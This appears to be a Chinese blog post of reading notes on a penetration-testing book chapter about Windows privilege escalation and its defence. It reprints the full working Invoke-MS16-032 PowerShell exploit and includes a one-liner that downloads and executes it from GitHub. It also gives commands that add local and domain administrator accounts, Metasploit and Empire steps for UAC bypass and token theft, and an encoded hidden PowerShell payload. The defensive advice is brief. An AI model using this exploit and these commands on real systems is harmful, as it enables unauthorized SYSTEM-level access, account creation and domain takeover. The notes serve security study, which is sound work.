《内网安全攻防:渗透测试实战指南》读书笔记(四):权限提升分析及防御

前言

本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,是第四章权限提升分析及防御,本章主要分析了系统的内核溢出漏洞提权、利用Windows操作系统错误配置提权、利用组策略首选项提权、绕过UAC提权、令牌窃取及无凭证条件下的权限获取,并提出了相应的安全防范措施

在Windows中,权限大概分为四种:

  • User:普通用户权限,默认不允许修改系统的设置或用户资料
  • Administrator:管理员权限,可以利用Windows的机制将自己提升为System权限
  • System:系统权限,可以对SAM等敏感文件进行读取
  • TrustedInstaller:最高权限,不涉及,作用于系统文件

提升权限(也称提权)的方式分为以下两类:

  • 纵向提权:低权限角色获得高权限角色的权限。例如,一个WebShell权限通过提权,拥有了管理员权限
  • 横向提权:获取同级别角色的权限。例如,在系统A中获取了系统B的权限

常见的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web中间件漏洞提权、DLL劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。

这方面的知识,之前也有过一些学习整理:内网渗透系列:权限提升方法小结

一、系统内核溢出漏洞提权分析及防范

系统内核溢出漏洞提权是一种通用的提权方法,关键是目标系统没有及时安装补丁

1、通过手动执行命令发现缺失补丁

首先查看权限和已安装补丁

//查看当前权限
whoami /groups

//查询补丁号的两种方式
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn

然后通过对比KB编号来判断是否存在提权漏洞

EXP的集合:

(1)MS16-032(KB3139914)

举个例子:MS16-032(KB3139914),可以使用Invoke-MS16-032.ps1脚本

//添加一个用户和密码都是“1”的用户
Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add"

//添加和执行任意程序
Invoke-MS16-032 -Application notepad.exe

//远程下载、提权】添加用户
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1);Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add""

Invoke-MS16-032.ps1脚本如下:

function Invoke-MS16-032 {
    
    
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
    
    Targets:
    
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
    
    Notes:
    
    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
      but not spawn a shell. Not sure what the issue is but just re-run and profit!
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html

.DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    Blog: http://www.fuzzysecurity.com/
    License: BSD 3-Clause
    Required Dependencies: PowerShell v2+
    Optional Dependencies: None

.PARAMETER Application

Specifies an Application to run.

.PARAMETER Commandline

Specifies Commandline, such as net user xxx xxx /add
    
.EXAMPLE
    C:\PS> Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe
    C:\PS> Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe -Commandline "/c net user 1 1 /add"

#>
  [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False, ParameterSetName = 'C:\Windows\System32\cmd.exe' )]
        [string]
        $Application,

        [Parameter(Mandatory = $False)]
        [string]
        $Commandline
        )


    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
    
    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }
    
    [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
    public struct STARTUPINFO
    {
        public Int32 cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
    
    [StructLayout(LayoutKind.Sequential)]
    public struct SQOS
    {
        public int Length;
        public int ImpersonationLevel;
        public int ContextTrackingMode;
        public bool EffectiveOnly;
    }
    
    public static class Advapi32
    {
        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
        public static extern bool CreateProcessWithLogonW(
            String userName,
            String domain,
            String password,
            int logonFlags,
            String applicationName,
            String commandLine,
            int creationFlags,
            int environment,
            String currentDirectory,
            ref  STARTUPINFO startupInfo,
            out PROCESS_INFORMATION processInformation);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool SetThreadToken(
            ref IntPtr Thread,
            IntPtr Token);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool OpenThreadToken(
            IntPtr ThreadHandle,
            int DesiredAccess,
            bool OpenAsSelf,
            out IntPtr TokenHandle);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool OpenProcessToken(
            IntPtr ProcessHandle, 
            int DesiredAccess,
            ref IntPtr TokenHandle);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public extern static bool DuplicateToken(
            IntPtr ExistingTokenHandle,
            int SECURITY_IMPERSONATION_LEVEL,
            ref IntPtr DuplicateTokenHandle);
    }
    
    public static class Kernel32
    {
        [DllImport("kernel32.dll")]
        public static extern uint GetLastError();
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr GetCurrentProcess();
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr GetCurrentThread();
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern int GetThreadId(IntPtr hThread);
        
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern int GetProcessIdOfThread(IntPtr handle);
        
        [DllImport("kernel32.dll",SetLastError=true)]
        public static extern int SuspendThread(IntPtr hThread);
        
        [DllImport("kernel32.dll",SetLastError=true)]
        public static extern int ResumeThread(IntPtr hThread);
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool TerminateProcess(
            IntPtr hProcess,
            uint uExitCode);
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool CloseHandle(IntPtr hObject);
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool DuplicateHandle(
            IntPtr hSourceProcessHandle,
            IntPtr hSourceHandle,
            IntPtr hTargetProcessHandle,
            ref IntPtr lpTargetHandle,
            int dwDesiredAccess,
            bool bInheritHandle,
            int dwOptions);
    }
    
    public static class Ntdll
    {
        [DllImport("ntdll.dll", SetLastError=true)]
        public static extern int NtImpersonateThread(
            IntPtr ThreadHandle,
            IntPtr ThreadToImpersonate,
            ref SQOS SecurityQualityOfService);
    }
"@

    function Get-ThreadHandle {
    
    
        # StartupInfo Struct
        $StartupInfo = New-Object STARTUPINFO
        $StartupInfo.dwFlags = 0x00000101 # STARTF_USESTDHANDLES
            $StartupInfo.wShowWindow = 0;
        $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
        $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
        $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
        
        # ProcessInfo Struct
        $ProcessInfo = New-Object PROCESS_INFORMATION
        
        # CreateProcessWithLogonW --> lpCurrentDirectory
        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
        
        # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, "C:\Windows\System32\notepad.exe", "",
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)
        
        # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
        $lpTargetHandle = [IntPtr]::Zero
        $CallResult = [Kernel32]::DuplicateHandle(
            $ProcessInfo.hProcess, 0x4,
            [Kernel32]::GetCurrentProcess(),
            [ref]$lpTargetHandle, 0, $false,
            0x00000002)
        
        # Clean up suspended process
        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
        
        $lpTargetHandle
    }
    
    function Get-SystemToken {
    
    
        echo "`n[?] Trying thread handle: $Thread"
        echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
    
        $CallResult = [Kernel32]::SuspendThread($Thread)
        if ($CallResult -ne 0) {
            echo "[!] $Thread is a bad thread, moving on.."
            Return
        } echo "[+] Thread suspended"
        
        echo "[>] Wiping current impersonation token"
        $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
        if (!$CallResult) {
            echo "[!] SetThreadToken failed, moving on.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
            echo "[+] Thread resumed!"
            Return
        }
        
        echo "[>] Building SYSTEM impersonation token"
        # SecurityQualityOfService struct
        $SQOS = New-Object SQOS
        $SQOS.ImpersonationLevel = 2 #SecurityImpersonation
        $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
        # Undocumented API's, I like your style Microsoft ;)
        $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
        if ($CallResult -ne 0) {
            echo "[!] NtImpersonateThread failed, moving on.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
            echo "[+] Thread resumed!"
            Return
        }
    
        $script:SysTokenHandle = [IntPtr]::Zero
        # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
        $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
        if (!$CallResult) {
            echo "[!] OpenThreadToken failed, moving on.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
            echo "[+] Thread resumed!"
            Return
        }
        
        echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
        echo "[+] Resuming thread.."
        $CallResult = [Kernel32]::ResumeThread($Thread)
    }
    
    # main() <--- ;)
    $ms16032 = @"
     __ __ ___ ___   ___     ___ ___ ___ 
    |  V  |  _|_  | |  _|___|   |_  |_  |
    |     |_  |_| |_| . |___| | |_  |  _|
    |_|_|_|___|_____|___|   |___|___|___|
                                        
                   [by b33f -> @FuzzySec]
"@
    
    $ms16032
    
    # Check logical processor count, race condition requires 2+
    echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
    if ($([System.Environment]::ProcessorCount) -lt 2) {
    
    
        echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
        Return
    }
    
    # Create array for Threads & TID's
    $ThreadArray = @()
    $TidArray = @()
    
    echo "[>] Duplicating CreateProcessWithLogonW handles.."
    # Loop Get-ThreadHandle and collect thread handles with a valid TID
    for ($i=0; $i -lt 500; $i++) {
        $hThread = Get-ThreadHandle
        $hThreadID = [Kernel32]::GetThreadId($hThread)
        # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
        if ($TidArray -notcontains $hThreadID) {
            $TidArray += $hThreadID
            if ($hThread -ne 0) {
                $ThreadArray += $hThread # This is what we need!
            }
        }
    }
    
    if ($($ThreadArray.length) -eq 0) {
        echo "[!] No valid thread handles were captured, exiting!"
        Return
    } else {
        echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
        echo "`n[?] Thread handle list:"
        $ThreadArray
    }
    
    echo "`n[*] Sniffing out privileged impersonation token.."
    foreach ($Thread in $ThreadArray){
    
        # Get handle to SYSTEM access token
        Get-SystemToken
        
        echo "`n[*] Sniffing out SYSTEM shell.."
        echo "`n[>] Duplicating SYSTEM token"
        $hDuplicateTokenHandle = [IntPtr]::Zero
        $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
        
        # Simple PS runspace definition
        echo "[>] Starting token race"
        $Runspace = [runspacefactory]::CreateRunspace()
        $StartTokenRace = [powershell]::Create()
        $StartTokenRace.runspace = $Runspace
        $Runspace.Open()
        [void]$StartTokenRace.AddScript({
            Param ($Thread, $hDuplicateTokenHandle)
            while ($true) {
                $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
            }
        }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
        $AscObj = $StartTokenRace.BeginInvoke()
        
        echo "[>] Starting process race"
        # Adding a timeout (10 seconds) here to safeguard from edge-cases
        $SafeGuard = [diagnostics.stopwatch]::StartNew()
        while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
        # StartupInfo Struct
        $StartupInfo = New-Object STARTUPINFO
        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
        $StartupInfo.dwFlags = 0x00000101 # STARTF_USESTDHANDLES
            $StartupInfo.wShowWindow = 0;
        # ProcessInfo Struct
        $ProcessInfo = New-Object PROCESS_INFORMATION
        
        # CreateProcessWithLogonW --> lpCurrentDirectory
        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
        
        # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, $Application,$Commandline,
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)
        #---
        # Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
        #---
        # Missing this check used to cause the exploit to fail sometimes.
        # If CreateProcessWithLogon fails OpenProcessToken won't succeed
        # but we obviously don't have a SYSTEM shell :'( . Should be 100%
        # reliable now!
        #---
        if (!$CallResult) {
      
      
            continue
        }            
        $hTokenHandle = [IntPtr]::Zero
        $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
        # If we can't open the process token it's a SYSTEM shell!
        if (!$CallResult) {
      
      
            echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
            $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
            $StartTokenRace.Stop()
            $SafeGuard.Stop()
            Return
        }
            
        # Clean up suspended process
        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
        }
        
        # Kill runspace & stopwatch if edge-case
        $StartTokenRace.Stop()
        $SafeGuard.Stop()
    }
}

2、利用MSF发现缺失补丁

用post/windows/gather/enum_patches模块,根据漏洞编号快速查找

use post/windows/gather/enum_patches

3、Windows Exploit Suggester

Windows Exploit Suggester将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其需要的只有目标系统的信息

下载地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester

使用如下:

//将systeminfo信息输出到txt文件中
systeminfo > info.txt

//从微软官方网站自动下载安全公告数据库,保存到BulletinSearch.xlsx
./windows-exploit-suggester.py --update

//安装xlrd模块
pip install xlrd --upgrade

//检查系统中是否存在未修复的漏洞
/windows-exploit-suggester.py -d BulletinSearch.xlsx -i info.txt

MSF中也存在类似模块

use post/multi/recon/local_exploit_suggester

4、Powershell中的Sherlock

Powershell中的Sherlock脚本可以快速查找可能用于本地权限提升的漏洞

下载地址:https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1

..\sherlock.ps1
find-AllVulns

二、Windows操作系统配置错误利用分析及防范

Windows操作系统中的常见配置错误:

  • 管理员凭据配置错误
  • 服务配置错误
  • 故意削弱的安全措施
  • 用户权限过高等

1、系统服务权限配置错误

Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。

系统服务权限配置错误(可写目录漏洞)有如下两种可能:

  • 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务
  • 服务正在运行且无法被终止:攻击者通常会利用DLL劫持技术并尝试重启服务来提权。

利用方法

使用Powerup

下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

. .\Powerup.ps1
Invoke-AllChecks

Metasploit的service_permissions模块使用两种方法来获得System权限:

  • 如果meterpreter以管理员权限运行,该模块会尝试创建并运行一个新的服务
  • 如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持

2、注册表键AlwaysInstallElevated

注册表键AlwaysInstallElevated是—个策略设置项

  • Windows允许低权限用户以System权限运行安装文件,如果启用此策略设置项,那么任何权限的用户都能以System权限来安装MSI文件,不过需要开启了Windows installer特权安装功能才能有效果
  • Windows Installer是Windows操作系统的组件之一,专门用来管理和配置软件服务,其分为客户端安装服务(Msiexec.exe)和MSI文件两部分。Windows Installer通过Msiexec.exe安装MSI文件包含的程序,双击MSI文件就会运行Msiexec.exe。

产生原因

可以直接设置这两个注册表键值为1来进行开启,这也是漏洞产生原因:

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKEY_CURRENT_MACHINE\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

利用方法

PowerUp中的利用方法:

. .\PowerUp.ps1
//检查注册表设置,如果输出True则表示注册表键值已经被设置
Get-RegistryAlwaysInstalledElevated
//生成一个MSI文件
Write-UserAddMSI
//允许文件则会添加一个管理员账户
msiexec.exe /q /i UserAdd.msi

3、可信任服务路径漏洞(Trusted Service Paths)

可信任服务路径漏洞利用了Windows文件路径解析的特性:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格(可信任服务路径),那么这个服务就是有漏洞的。

产生原因

因为Windows服务通常都是以System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限运行

如:C:\Program Files\Some Folder\Service.exe寻找路径为C:\Program.exeC:\Program Files\Some.exeC:\Program Files\Some Folder\Service.exe,如果有一个适当命名的可执行程序上传到受影响目录中,那就嘿嘿嘿了,前提还是有对应目标的写权限

这个漏洞是由于使用CreateProcess函数创建进程时对第二个参数中的文件路径没有使用双引号括起来,可以参考这个文档:Windows可信任路径代码执行漏洞

利用方法

查找漏洞存在的方法:

//列出目标机器中所有没有被引号引起来的服务的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /c "C:\Windows\\" |findstr /i /v """

MSF中存在能够利用的模块(需要有session):

use trusted_service_path

Metasploit的trusted_service_path模块反弹的shell很快就会中断,这是因为当一个进程在系统中启动后,必须与服务控制管理器进行通信,如果没有进行通信,服务控制管理器会认为出现了错误,进而终止掉这个进程。因此,在终止前将它迁移到其他进程中(set AutoRunScript migrate -f 自动迁移)

4、自动安装配置文件

网络管理员在内网中域环境下批量部署可能会使用到配置文件,其中可能包含本地管理员的账号密码等信息

常用配置文件目录:

  • sysprep.inf
  • sysprep.xml
  • unattend.xml
  • unattended.xml

利用方法

可以查找这些文件然后查看是否有明文或base64编码的密码

MSF中的利用模块:

use post/windows/gather/enum_unattend

5、计划任务

基于杀毒软件的检测等,攻击者会尽量避免接触目标机器的磁盘,而AccessChk是微软官方提供的工具,一般不会引起杀毒软件的报警,所以经常会被攻击者利用。

利用方法

查看当前计划任务:

schtasks /query /fo LIST /v

这里提到了一个工具,AccessChk用于在Windows中运行一些系统或程序的高级查询,管理和故障排除工作。可以通过这个工具来查看指定目录的权限配置情况,如果当前权限有某个高权限的程序执行文件的写权限,那么就可以替换高权限文件进行权限提升。(这里说到的是使用计划任务来进行定时执行)

使用方法:

//不弹框运行
accesschk.exe /accepteula
//这里原书中的命令空格被吞了,说的是列出某个驱动器下所有权限配置有缺陷的文件夹,但是使用了之后发现应该不会遍历所有的文件夹
.\accesschk.exe -uwdqs Users c:\
.\accesschk.exe -uwdqs "Authenticated Users" c:\

三、组策略首选项提权分析及防范

1、简介

SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹

  • 安装AD时自动创建
  • 主要用来存放登陆脚本、组策略数据及其他域控制器需要的域信息等

为了方便地对所有的机器进行操作,网络管理员往往会使用组策略进行统一的配置和管理。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的

常见的组策略首选项(Group Policy Preferences,GPP):

  • 创建本地用户
  • 数据源(DataSources.xml)
  • 创建/更新服务(Services.xml)
  • 计划任务(ScheduledTasks.xml)等

2、利用

管理员在域中新建一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件保存了该组策略更新后的密码,但是使用AES256加密

但是2012年微软公布了私钥,XML文件中关键词cpassword

3、防御

2014年官方发布了补丁,不再将密码保存到组策略首选项中

老洞。。。

四、绕过UAC提权分析及防范

1、简介

Microsoft 自 Windows Vista 中引入了 UAC (User Account Control)机制并在 Windows 7 中对 UAC 机制进行了完善。**UAC 与 UNIX 中的 sudo 的工作机制十分相似。**平时用户以普通权限工作,当用户需要执行特权操作时,系统会询问他们是否要提升其权限。

UAC有四种设置要求:

  • 始终通知
  • 仅在程序试图更改我的计算机时通知我(默认)
  • 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度)
  • 从不提示

2、利用

BypassUAC有点这个意思:仅在程序试图更改我的计算机时通知我(默认) --> 从不提示。

(1)MSF中的bypassuac

当前用户必须在管理员组中,且UAC必须为默认设置(即“仅在程序试图更改我的计算机时通知我”)

use exploit/windows/local/bypassuac
set session X
run

(2)MSF中的RunAs

当前用户必须在管理员组中或者知道管理员的密码,对UAC的设置则没有要求

use exploit/windows/local/ask
set session X
run

运行后目标主机会弹出一个UAC的框,需要点击是然后才回弹回一个新的session,如果弹回的不是system权限的session则可以使用getsystem命令提升

(3)Nishang中的Invoke-PsUACme模块

//使用sysprep方法并执行默认的payload
Invoke-PsUACme -Verbose
//使用oobe方法并执行默认的payload
Invoke-PsUACme -methed oobe -Verbose
//使用oobe方法执行自定义的payload
Invoke-PsUACme -methed oobe -Payload "powershell -windowstyle hidden -e <your encoded payload>"

可以使用payloadpath参数指定payload的路径。

Empire中的bypassuac模块

usemodule privesc/bypassuac

3、防御

企业环境中防止绕过UAC最好的方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性

家庭环境下设为始终通知,总是弹窗警告

五、令牌窃取分析及防范

令牌(Token)是指系统中的临时秘钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获取了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源

  • 访问令牌(Access Token)代表访问控制操作主体的系统对象
  • 密保令牌(Security Token)也叫做认证令牌或者硬件令牌,是一种用于实现计算机身份校验的物理设备,例如U盾
  • 会话令牌(Session Token)是交互会话中唯一的身份标识符

伪造令牌攻击的核心是Kerberos协议。

可以参考:一文了解黄金票据和白银票据

1、令牌窃取

假设已经有了目标的shell
MSF列出可用的令牌:

use incognito
list_tokens -u

两种类型的令牌:

  • elegation Tokens 授权令牌:支持交互式登录(例如可以通过远程桌面登录及访问)
  • Impersonation Tokens 模拟令牌:支持非交互式的会话

在MSF中可以选择使用某一个特定的TOKEN

impersonate_token

2、Rotten Potato本地提权分析

如果目标系统中存在有效的令牌,可以通过Rotten Potato程序快速模拟用户令牌来实现权限提升

下载地址:https://github.com/foxglovesec/RottenPotato.git

书中的环境存在SYSTEM的token,所以可以使用下面的命令进行窃取

upload /opt/RottenPotato/rottenpotato.exe
execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"

3、添加域管理员

这里说到了使用MSF的migrate命令,借助system权限的进程进行执行命令

假设网络中设置了域管理进程,Metasploit使用ps寻找并使用migrate命令迁移至该进程,若成功了可以直接添加域管理员net user name pass /ad /domain,添加域管理员组net group "domain admins" name /ad /domain

meterpreter的use incognito可以模拟域管理员

4、防御

补丁、禁止来路不明的文件、令牌时效性、加密存储和多重验证保护、加密链路传输

六、无凭证条件下的权限获取分析及防范

提了下LLMNR和NetBIOS欺骗攻击

结语

书里的提权方法都比较经典,故各个框架里都有相应mod
不过换句话说就是有点老,在掌握的同时还需要与时俱进

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/124065823